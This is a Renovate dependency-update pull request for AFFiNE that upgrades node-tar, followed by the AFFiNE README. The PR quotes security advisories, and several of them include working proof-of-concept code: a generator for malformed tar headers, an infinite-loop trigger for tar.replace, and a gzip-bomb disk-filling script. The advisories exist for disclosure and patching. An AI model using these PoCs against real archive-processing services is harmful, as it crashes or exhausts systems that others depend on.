This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [tar](https://redirect.github.com/isaacs/node-tar) | [`7.5.16` → `7.5.19`](https://renovatebot.com/diffs/npm/tar/7.5.16/7.5.19) |  |  | --- ### node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records [CVE-2026-59875](https://nvd.nist.gov/vuln/detail/CVE-2026-59875) / [GHSA-gvwx-54wh-qm9j](https://redirect.github.com/advisories/GHSA-gvwx-54wh-qm9j) <details> <summary>More information</summary> #### Details ##### Summary `node-tar` strips trailing `NUL` bytes from long-name (`L`) and long-linkpath (`K`) GNU extended headers but does **not** apply the same sanitization to equivalent fields delivered via PAX (`x` typeflag) extended headers. A PAX record of the form `path=visible.txt\x00hidden.txt` is parsed verbatim into `entry.path` and flows into `fs.lstat()` / `fs.open()`, which Node.js core rejects with `ERR_INVALID_ARG_VALUE`. The throw originates inside an `FSReqCallback` async chain that is **not** wrapped by the consumer's `await/try-catch` around `tar.x()` — it surfaces as `uncaughtException` and terminates the process. This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through `tar.x` / `tar.extract` / `tar.t` / `tar.Parser`, even when the consumer follows the documented `try/catch` error-handling pattern. A secondary parser-differential (CWE-436) exists because `tar(1)`, `bsdtar`, and Python `tarfile` truncate the path at the first `NUL` (yielding `visible.txt`) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed. --- ##### Root cause ##### Vulnerable sink — `src/pax.ts:157-183` PAX KV records flow through `parseKVLine`. The value half (`v`) is assigned directly to the result object with no sanitization for embedded NUL bytes: ```ts // src/pax.ts:157 const parseKVLine = (set: Record<string, unknown>, line: string) => { const n = parseInt(line, 10) if (n !== Buffer.byteLength(line) + 1) return set line = line.slice((n + ' ').length) const kv = line.split('=') const r = kv.shift() if (!r) return set const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1') const v = kv.join('=') // <-- NO NUL STRIP set[k] = /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ? new Date(Number(v) * 1000) : /^[0-9]+$/.test(v) ? +v : v // <-- v with NULs lands here return set } ``` The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between `=` and `\n` contains `NUL`. The result is consumed by `Header` / `ReadEntry`, where `entry.path` and `entry.linkpath` carry the embedded NUL all the way to `fs.lstat()`. ##### Correctly-patched cousin sink — `src/parse.ts:375-388` The equivalent code path for GNU L/K long-headers **does** strip NUL bytes: ```ts // src/parse.ts:375 case 'NextFileHasLongPath': case 'OldGnuLongPath': { const ex = this[EX] ?? Object.create(null) this[EX] = ex ex.path = this[META].replace(/\0.*/, '') // <-- NUL strip applied break } case 'NextFileHasLongLinkpath': { const ex = this[EX] || Object.create(null) this[EX] = ex ex.linkpath = this[META].replace(/\0.*/, '') // <-- NUL strip applied break } ``` The `parse.ts` fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching `fs.*`. The PAX path produces the identical primitive but bypasses the guard. ##### Downstream blast radius `entry.path` and `entry.linkpath` are consumed in: - `src/unpack.ts` → `fs.lstat`, `fs.open`, `fs.symlink`, `fs.link`, `fs.mkdir` - `src/list.ts` (no crash — listing tolerates NUL in strings) - Any consumer of the `ReadEntry` event that calls `path.join()` / `fs.*` on `entry.path` The crash fires inside the FSReqCallback Node-internal async machinery, **outside** the user's `await tar.x(...)` Promise rejection boundary. --- ##### Proof of Concept ##### Artifacts - `poc-null-byte-crash.tar` — 3072 bytes — PAX `path=visible.txt\x00hidden.txt` - `poc-null-linkpath-crash.tar` — 2560 bytes — PAX `linkpath=target\x00garbage` (symlink target sink) - `poc1-pax-prefix.py` — minimal PAX-header builder (Python 3, no deps) ##### Tarball generator (minimal repro — Python 3) ```python #!/usr/bin/env python3 """Minimal PAX-NUL-injection tarball generator for node-tar PoC.""" import os def cksum(b): s = 0 for i, x in enumerate(b): s += 0x20 if 148 <= i < 156 else x return s def pad512(buf): rem = len(buf) % 512 return buf + b'\0' * (512 - rem) if rem else buf def hdr(name, size, typeflag, prefix=b'', linkpath=b''): b = bytearray(512) b[0:len(name[:100])] = name[:100] b[100:108] = b'0000644\0' b[108:116] = b'0001000\0' b[116:124] = b'0001000\0' b[124:136] = ('%011o ' % size).encode() b[136:148] = ('%011o ' % 0).encode() b[148:156] = b' ' b[156:157] = typeflag b[157:157+len(linkpath[:100])] = linkpath[:100] b[257:265] = b'ustar\x0000' b[265:270] = b'root\0' b[297:302] = b'root\0' b[329:337] = b'0000000\0' b[337:345] = b'0000000\0' b[345:345+len(prefix[:155])] = prefix[:155] s = cksum(b) b[148:156] = ('%06o\0 ' % s).encode() return bytes(b) def pax(records): body = b'' for k, v in records: kv = b' ' + k + b'=' + v + b'\n' for digits in range(1, 8): total = digits + len(kv) if len(str(total)) == digits: break body += str(total).encode() + kv return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body) out = pax([(b'path', b'visible.txt\x00hidden.txt')]) # NUL in PAX path out += hdr(b'placeholder', 1, b'0') out += pad512(b'A') out += b'\0' * 1024 # end-of-archive open('poc.tar', 'wb').write(out) ``` ##### Reproduction ```bash ##### 1. Generate tarball python3 poc1-pax-prefix.py # writes poc.tar (3 KB) ##### 2. Install vulnerable version mkdir repro && cd repro npm init -y && npm install tar@7.5.16 ##### 3. Try to extract with documented try/catch — observe uncaught exception mkdir -p ./out node --input-type=module -e ' process.on("uncaughtException", e => { console.log("UNCAUGHT:", e.code, "-", e.message); process.exit(99); }); import("tar").then(async tar => { try { await tar.x({ file: "../poc.tar", cwd: "./out" }); console.log("NORMAL_RETURN"); } catch (e) { console.log("CAUGHT_BY_USER:", e.code); } });' ``` ##### Observed output (verified 2026-06-23 against `tar@7.5.16`) ``` UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received '/.../out/visible.txt\x00hidden.txt' exit: 99 ``` The exception bypasses the user's `try { await tar.x(...) } catch (e) { ... }` block and lands in the global `uncaughtException` handler. In a typical server without that handler, the process exits. --- ##### Impact ##### Direct: remote DoS Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction: - npm registry tarball ingestion and downstream mirrors - GitHub Actions cache restore (`actions/cache`, `actions/setup-*` extracting toolchains) - Container image build pipelines that unpack layer tarballs through node tooling - Backup-restore services accepting user uploads - CI artifact processors and badge generators - Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs - Cloud functions that auto-extract uploaded archives A correctly-coded consumer that does: ```js try { await tar.x({ file: req.upload.path, cwd: tmpdir }); } catch (e) { return res.status(400).json({ error: 'bad archive' }); } ``` does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot. ##### Secondary: parser-differential validator bypass (CWE-436) | Tool | Result for `path=visible.txt\x00hidden.txt` | |----------------------------|----------------------------------------------| | GNU tar (`tar -tvf`) | Lists `visible.txt` (truncated at NUL) | | `bsdtar -tvf` | Lists `visible.txt` (truncated at NUL) | | Python `tarfile.list()` | Lists `visible.txt\x00hidden.txt` (raw) | | node-tar `tar.t({file})` | Emits raw NUL-bearing path (no crash) | | node-tar `tar.x({file})` | **Crashes** (uncaught throw) | A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts. --- ##### Suggested patch Match the long-name handler in `parse.ts` — strip everything from the first NUL onward in `parseKVLine` value parsing: ```diff --- a/src/pax.ts +++ b/src/pax.ts @​@​ -173,7 +173,7 @​@​ const parseKVLine = (set: Record<string, unknown>, line: string) => { const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1') - const v = kv.join('=') + const v = kv.join('=').replace(/\0.*$/, '') set[k] = /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ? new Date(Number(v) * 1000) ``` This matches `src/parse.ts:379` and `src/parse.ts:386` and closes both `path` and `linkpath` sinks in one change. A defense-in-depth follow-up: add an explicit `assert(!v.includes('\0'))` (or fail-soft `return set`) at the top of `parseKVLine` so malformed PAX records that *aren't* path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of `entry.header.atime` Date objects constructed from `Number(v)` where `v` had embedded NUL). #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59875](https://nvd.nist.gov/vuln/detail/CVE-2026-59875) - [https://github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3](https://redirect.github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3) - [https://github.com/isaacs/node-tar/releases/tag/v7.5.17](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.17) - [https://github.com/advisories/GHSA-gvwx-54wh-qm9j](https://redirect.github.com/advisories/GHSA-gvwx-54wh-qm9j) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-gvwx-54wh-qm9j) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### node-tar: Negative tar entry size causes infinite loop in archive replace [CVE-2026-59874](https://nvd.nist.gov/vuln/detail/CVE-2026-59874) / [GHSA-8x88-c5mf-7j5w](https://redirect.github.com/advisories/GHSA-8x88-c5mf-7j5w) <details> <summary>More information</summary> #### Details ##### Summary A checksum-valid tar archive with a negative base-256 encoded entry size can make `tar.replace()` loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service. ##### Details The public `tar.replace()` API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary. Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as `-512` while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation. For a size of `-512`, the computed body skip is `-512`. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step. This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception. ##### PoC Save as `poc.mjs` in a project with the vulnerable package installed and run: ```bash node poc.mjs ``` ```js import fs from 'node:fs' import os from 'node:os' import path from 'node:path' import { spawnSync } from 'node:child_process' const oct = (b, n, off, len) => b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii') const badHeader = () => { const h = Buffer.alloc(512) h.write('x', 0) oct(h, 0o644, 100, 8) oct(h, 0, 108, 8) oct(h, 0, 116, 8) // base-256 encoded -512 in the size field Buffer.alloc(10, 0xff).copy(h, 124) h[134] = 0xfe h[135] = 0x00 oct(h, 0, 136, 12) h.fill(0x20, 148, 156) h[156] = 0x30 h.write('ustar\0' + '00', 257, 8, 'binary') let sum = 0 for (const c of h) sum += c h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii') return h } const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-')) const file = path.join(dir, 'poc.tar') fs.writeFileSync(file, badHeader()) fs.writeFileSync(path.join(dir, 'add.txt'), 'x') const r = spawnSync( process.execPath, [ '--input-type=module', '-e', ` import * as tar from 'tar' tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt']) console.log('completed') `, ], { timeout: 20_000 } ) console.log(r.error?.code === 'ETIMEDOUT') // Output: true ``` ##### Impact An application that calls `tar.replace()` on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59874](https://nvd.nist.gov/vuln/detail/CVE-2026-59874) - [https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5](https://redirect.github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5) - [https://github.com/isaacs/node-tar/releases/tag/v7.5.18](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.18) - [https://github.com/advisories/GHSA-8x88-c5mf-7j5w](https://redirect.github.com/advisories/GHSA-8x88-c5mf-7j5w) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-8x88-c5mf-7j5w) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### node-tar: Decompression/parse DoS via unlimited input [CVE-2026-59873](https://nvd.nist.gov/vuln/detail/CVE-2026-59873) / [GHSA-23hp-3jrh-7fpw](https://redirect.github.com/advisories/GHSA-23hp-3jrh-7fpw) <details> <summary>More information</summary> #### Details ##### Summary A **Decompression/parse DoS via unlimited input** vulnerability in `node-tar` allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services. ##### Details The `node-tar` library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the `maxReadSize` option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk. Specifically, in `src/extract.ts`, the `Unpack` stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). `node-tar` will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption. ##### PoC The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly. 1. Create the exploit script: ```javascript const fs = require('fs'), z = require('zlib'), t = require('tar'); const d = 'dos_test'; if (fs.existsSync(d)) fs.rmSync(d, {recursive:true}); fs.mkdirSync(d); // Build 10GB header const h = Buffer.alloc(512); h.write('payload'); h.write((10*1024**3).toString(8).padStart(11,'0'), 124); h.write('ustar', 257); let s = 256; for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i]; h.write(s.toString(8).padStart(6,'0'), 148); const gz = z.createGzip(); gz.pipe(t.x({cwd: d})); gz.write(h); const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed const run = () => { while (gz.write(b)); gz.once('drain', run); }; const monitor = setInterval(() => { try { const bytes = fs.statSync(`${d}/payload`).size; const mb = Math.floor(bytes / (1024 * 1024)); process.stdout.write(`\r[>] Extracted: ${mb} MB`); if (mb > 5000) { console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); process.exit(); } } catch {} }, 50); process.on('exit', () => { clearInterval(monitor); console.log('[*] Cleaning up...'); if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true}); }); run(); ``` 2. Run the PoC: ```bash node poc.js ``` **Observation:** You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible. ##### Impact This is a **Denial of Service (DoS)** vulnerability. It impacts any application or service that uses `node-tar` to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages. #### Severity - CVSS Score: 9.2 / 10 (Critical) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H` #### References - [https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59873](https://nvd.nist.gov/vuln/detail/CVE-2026-59873) - [https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3](https://redirect.github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3) - [https://github.com/isaacs/node-tar/releases/tag/v7.5.19](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.19) - [https://github.com/advisories/GHSA-23hp-3jrh-7fpw](https://redirect.github.com/advisories/GHSA-23hp-3jrh-7fpw) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-23hp-3jrh-7fpw) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### node-tar: Process crash via PAX numeric path type confusion [CVE-2026-59871](https://nvd.nist.gov/vuln/detail/CVE-2026-59871) / [GHSA-w8wr-v893-vjvp](https://redirect.github.com/advisories/GHSA-w8wr-v893-vjvp) <details> <summary>More information</summary> #### Details ##### Summary A crafted 2.5KB tar archive crashes any Node.js process that extracts it. The PAX header parser coerces all-digit path values to JavaScript numbers, which causes an uncaught TypeError when downstream code calls `.split('/')` on the numeric value. Error handlers and `strict: false` cannot intercept the crash. ##### Details In `pax.ts` line 180, `parseKV` converts PAX values matching `/^[0-9]+$/` to numbers via `+v`. This applies to all fields including `path` and `linkpath`. When a PAX header sets `path` to an all-digit string like `"12345"`, the value becomes the number `12345`. This number flows through Header -> ReadEntry -> Unpack.CHECKPATH, where `normalizeWindowsPath(entry.path).split('/')` throws a TypeError because numbers don't have `.split()`. The throw is synchronous during event emission and bypasses all error handling: - `strict: false` does not help - `'error'` event handlers do not catch it - `'warn'` handlers do not catch it - The TypeError propagates through the event emitter stack as an uncaughtException Directory, SymbolicLink, and Link type entries reach CHECKPATH and crash. File type entries crash earlier in Header constructor at `this.path.slice(-1)`, but that throw is caught and emitted as a warning only. ##### PoC Create a tar archive with a PAX extended header containing an all-digit path: ``` PAX header body: "18 path=12345\n" Entry type: Directory (type '5') ``` Extract it: ```js const tar = require('tar'); // All of these crash with TypeError: t.split is not a function tar.extract({ file: 'malicious.tar', cwd: '/tmp/test' }); // Error handlers don't help: tar.extract({ file: 'malicious.tar', cwd: '/tmp/test', strict: false }) .on('error', (err) => { /* never reached */ }) .on('warn', (code, msg) => { /* never reached */ }); ``` The archive is ~2.5KB. The crash is deterministic on every attempt. ##### Impact Denial of service. Any application or tool that extracts untrusted tar archives crashes from a single small file. This includes npm (which uses node-tar to extract packages), CI/CD pipelines, file upload processors, and backup tools. The crash cannot be caught by application-level error handling. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/isaacs/node-tar/security/advisories/GHSA-w8wr-v893-vjvp](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-w8wr-v893-vjvp) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59871](https://nvd.nist.gov/vuln/detail/CVE-2026-59871) - [https://github.com/isaacs/node-tar/commit/e02a4e9e013c4be95302e2eb2047a942b883c27b](https://redirect.github.com/isaacs/node-tar/commit/e02a4e9e013c4be95302e2eb2047a942b883c27b) - [https://github.com/isaacs/node-tar/releases/tag/v7.5.18](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.18) - [https://github.com/advisories/GHSA-w8wr-v893-vjvp](https://redirect.github.com/advisories/GHSA-w8wr-v893-vjvp) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-w8wr-v893-vjvp) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>isaacs/node-tar (tar)</summary> ### [`v7.5.19`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.18...v7.5.19) [Compare Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.18...v7.5.19) ### [`v7.5.18`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.17...v7.5.18) [Compare Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.17...v7.5.18) ### [`v7.5.17`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.16...v7.5.17) [Compare Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.16...v7.5.17) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNzIuNCIsInVwZGF0ZWRJblZlciI6IjQzLjI3Mi40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
AFFiNE.Pro
Write, Draw and Plan All at Once
A privacy-focused, local-first, open-source, and ready-to-use alternative for Notion & Miro.
One hyper-fused platform for wildly creative minds.
Getting started & staying tuned with us.
Star us, and you will receive all release notifications from GitHub without any delay!
What is AFFiNE
AFFiNE is an open-source, all-in-one workspace and an operating system for all the building blocks that assemble your knowledge base and much more -- wiki, knowledge management, presentation and digital assets. It's a better alternative to Notion and Miro.
Features
A true canvas for blocks in any form. Docs and whiteboard are now fully merged.
- Many editor apps claim to be a canvas for productivity, but AFFiNE is one of the very few which allows you to put any building block on an edgeless canvas -- rich text, sticky notes, any embedded web pages, multi-view databases, linked pages, shapes and even slides. We have it all.
Multimodal AI partner ready to kick in any work
- Write up professional work report? Turn an outline into expressive and presentable slides? Summary an article into a well-structured mindmap? Sorting your job plan and backlog for tasks? Or... draw and code prototype apps and web pages directly all with one prompt? With you, AFFiNE AI pushes your creativity to the edge of your imagination, just like Canvas AI to generate mind map for brainstorming.
Local-first & Real-time collaborative
- We love the idea of local-first that you always own your data on your disk, in spite of the cloud. Furthermore, AFFiNE supports real-time sync and collaborations on web and cross-platform clients.
Self-host & Shape your own AFFiNE
- You have the freedom to manage, self-host, fork and build your own AFFiNE. Plugin community and third-party blocks are coming soon. More tractions on Blocksuite. Check there to learn how to self-host AFFiNE.
Acknowledgement
“We shape our tools and thereafter our tools shape us”. A lot of pioneers have inspired us along the way, e.g.:
- Quip & Notion with their great concept of “everything is a block”
- Trello with their Kanban
- Airtable & Miro with their no-code programmable datasheets
- Miro & Whimiscal with their edgeless visual whiteboard
- Remote & Capacities with their object-based tag system
There is a large overlap of their atomic “building blocks” between these apps. They are not open source, nor do they have a plugin system like Vscode for contributors to customize. We want to have something that contains all the features we love and also goes one step even further.
Thanks for checking us out, we appreciate your interest and sincerely hope that AFFiNE resonates with you! 🎵 Checking https://affine.pro/ for more details ions.
Contributing
| Bug Reports | Feature Requests | Questions/Discussions | AFFiNE Community |
|---|---|---|---|
| Create a bug report | Submit a feature request | Check GitHub Discussion | Visit the AFFiNE's Discord |
| Something isn't working as expected | An idea for a new feature, or improvements | Discuss and ask questions | A place to ask, learn and engage with others |
Calling all developers, testers, tech writers and more! Contributions of all types are more than welcome, you can read more in docs/types-of-contributions.md. If you are interested in contributing code, read our docs/CONTRIBUTING.md and feel free to check out our GitHub issues to get stuck in to show us what you’re made of.
Before you start contributing, please make sure you have read and accepted our Contributor License Agreement. To indicate your agreement, simply edit this file and submit a pull request.
For bug reports, feature requests and other suggestions you can also create a new issue and choose the most appropriate template for your feedback.
For translation and language support you can visit our Discord.
If you have questions, you are welcome to contact us. One of the best places to get more info and learn more is in the Discord where you can engage with other like-minded individuals.
Templates
AFFiNE now provides pre-built templates from our team. Following are the Top 10 most popular templates among AFFiNE users,if you want to contribute, you can contribute your own template so other people can use it too.
- vision board template
- one pager template
- sample lesson plan math template
- grr lesson plan template free
- free editable lesson plan template for pre k
- high note collection planners
- digital planner
- ADHD Planner
- Reading Log
- Cornell Notes Template
Blog
Welcome to the AFFiNE blog section! Here, you’ll find the latest insights, tips, and guides on how to maximize your experience with AFFiNE and AFFiNE AI, the leading Canvas AI tool for flexible note-taking and creative organization.
- vision board template
- ai homework helper
- vision board maker
- itinerary template
- one pager template
- cornell notes template
- swot chart template
- apps like luna task
- note taking ai from rough notes to mind map
- canvas ai
- one pager
- SOP Template
- Chore Chart
Ecosystem
| Name | ||
|---|---|---|
| @affine/component | AFFiNE Component Resources | |
| @toeverything/theme | AFFiNE theme |
Upstreams
We would also like to give thanks to open-source projects that make AFFiNE possible:
-
Blocksuite - 💠 BlockSuite is the open-source collaborative editor project behind AFFiNE.
-
y-octo - 🐙 y-octo is a native, high-performance, thread-safe YJS CRDT implementation, serving as the core engine enabling the AFFiNE Client/Server to achieve "local-first" functionality.
-
OctoBase - 🐙 OctoBase is the open-source database behind AFFiNE, local-first, yet collaborative. A light-weight, scalable, data engine written in Rust.
-
yjs - Fundamental support of CRDTs for our implementation on state management and data sync on web.
-
electron - Build cross-platform desktop apps with JavaScript, HTML, and CSS.
-
React - The library for web and native user interfaces.
-
napi-rs - A framework for building compiled Node.js add-ons in Rust via Node-API.
-
Jotai - Primitive and flexible state management for React.
-
async-call-rpc - A lightweight JSON RPC client & server.
-
Vite - Next generation frontend tooling.
-
Other upstream dependencies.
Thanks a lot to the community for providing such powerful and simple libraries, so that we can focus more on the implementation of the product logic, and we hope that in the future our projects will also provide a more easy-to-use knowledge base for everyone.
Contributors
We would like to express our gratitude to all the individuals who have already contributed to AFFiNE! If you have any AFFiNE-related project, documentation, tool or template, please feel free to contribute it by submitting a pull request to our curated list on GitHub: awesome-affine.
Self-Host
Begin with Docker to deploy your own feature-rich, unrestricted version of AFFiNE. Our team is diligently updating to the latest version. For more information on how to self-host AFFiNE, please refer to our documentation.
Feature Request
For feature requests, please see discussions.
Building
Codespaces
From the GitHub repo main page, click the green "Code" button and select "Create codespace on master". This will open a new Codespace with the (supposedly auto-forked AFFiNE repo cloned, built, and ready to go).
Local
See BUILDING.md for instructions on how to build AFFiNE from source code.
Contributing
We welcome contributions from everyone. See docs/contributing/tutorial.md for details.
License
Editions
-
AFFiNE Community Edition (CE) is the current available version, it's free for self-host under the MIT license.
-
AFFiNE Enterprise Edition (EE) is yet to be published, it will have more advanced features and enterprise-oriented offerings, including but not exclusive to rebranding and SSO, advanced admin and audit, etc., you may refer to https://affine.pro/pricing for more information
See LICENSE for details.